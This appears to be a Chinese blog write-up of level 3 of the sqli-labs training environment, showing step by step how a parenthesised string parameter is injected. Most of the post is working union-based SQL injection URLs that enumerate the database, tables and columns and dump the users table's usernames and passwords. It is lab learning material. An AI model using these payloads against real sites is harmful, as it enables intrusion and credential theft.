zoukankan      html  css  js  c++  java
  • sql-lab 第三关

    开始第三关,打开靶机,

     Please input the ID as parameter with numeric value说的是请以数字值作为参数输入用户标示符的意思。

    还是像前面几个测试一下,发现都不符合

    当我输入?id=1'的时候出现了

     然后查看了一下Index.php的源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

    这样便可以确定单引号注入的变形,一个带括号的字符型注入。

    构造pyload:

    http://10.0.68.9/sqli-labs-master/Less-3/?id=1%27)--+

    这样以来就成功了。

    后面的基本就和前几关一样了,首先看看字段的列数,使用order by 构造pyload,4的话是出错的,所以最终pyload为

    http://10.0.68.9/sqli-labs-master/Less-3/?id=1%27)%20order%20by%203--+

     接下来还需要查看显示位,构造pyload:

    http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,3--+

     这样就查出来有两个显示位2,3;

    然后开始爆数据库名:http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,database()--+

     还是这个名字。

    然后爆出表名来:

    http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

     表名之后便是字段名了:

    http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

     字段名出来了最后便是数据了:

    http://10.0.68.9/sqli-labs-master/Less-3/?id=00%27)%20union%20select%201,2,group_concat(0x3a,username,0x3a,password)%20from%20users--+

     这就出来了。

  • 相关阅读:
    剑指offer_24:二叉树中和为某一值的路径
    剑指offer_23:二叉搜索树的后序遍历序列
    Java基础类型大小
    旋转数组
    剑指offer_22:从上往下打印二叉树
    剑指offer_21:栈的压入、弹出序列
    剑指offer_20:包含min函数的栈
    剑指offer_19:顺时针打印矩阵
    剑指offer_18:二叉树的镜像
    redis jedis源码
  • 原文地址:https://www.cnblogs.com/awsole/p/13789478.html
Copyright © 2011-2022 走看看